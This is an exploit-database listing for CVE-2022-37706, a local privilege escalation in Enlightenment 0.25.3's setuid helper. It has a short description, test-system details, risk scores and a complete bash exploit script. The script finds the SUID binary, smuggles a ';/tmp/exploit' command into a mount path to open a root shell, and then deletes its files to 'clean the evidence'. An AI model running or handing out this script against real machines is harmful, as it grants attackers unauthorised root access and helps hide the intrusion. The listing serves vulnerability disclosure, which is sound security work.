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Enlightenment v0.25.3 - Privilege escalation

🗓️ 01 Apr 2023 00:00:00Reported by nu11secur1tyType 
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Enlightenment v0.25.3 privilege escalation vulnerability, setuid root mishandles pathname

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## Exploit Title: Enlightenment v0.25.3 - Privilege escalation
## Author: nu11secur1ty
## Date: 12.26.2022
## Vendor: https://www.enlightenment.org/
## Software: https://www.enlightenment.org/download
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706
## CVE ID: CVE-2022-37706
## Description:
The Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.
Enlightenment_sys in Enlightenment before 0.25.3 allows local users to
gain privileges because it is setuid root,
and the system library function mishandles pathnames that begin with a
/dev/.. substring
If the attacker has access locally to some machine on which the
machine is installed Enlightenment
he can use this vulnerability to do very dangerous stuff.

## STATUS: CRITICAL Vulnerability

## Tested on:
```bash
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.10
DISTRIB_CODENAME=kinetic
DISTRIB_DESCRIPTION="Ubuntu 22.10"
PRETTY_NAME="Ubuntu 22.10"
NAME="Ubuntu"
VERSION_ID="22.10"
VERSION="22.10 (Kinetic Kudu)"
VERSION_CODENAME=kinetic
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=kinetic
LOGO=ubuntu-logo
```

[+] Exploit:

```bash
#!/usr/bin/bash
# Idea by MaherAzzouz
# Development by nu11secur1ty

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

# The actual problem
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
	echo "[-] Couldn't find the vulnerable SUID file..."
	echo "[*] Enlightenment should be installed on your system."
	exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Welcome to the rabbit hole :)"

${file} /bin/mount -o
noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u),
"/dev/../tmp/;/tmp/exploit" /tmp///net

read -p "Press any key to clean the evedence..."
echo -e "Please wait... "

sleep 5
rm -rf /tmp/exploit
rm -rf /tmp/net
echo -e "Done; Everything is clear ;)"

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706)
## Proof and Exploit:
[href](https://streamable.com/zflbgg)

## Time spent
`01:00:00`


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Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
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                          nu11secur1ty <http://nu11secur1ty.com/>

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01 Apr 2023 00:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.17.8
EPSS0.56195
SSVC
233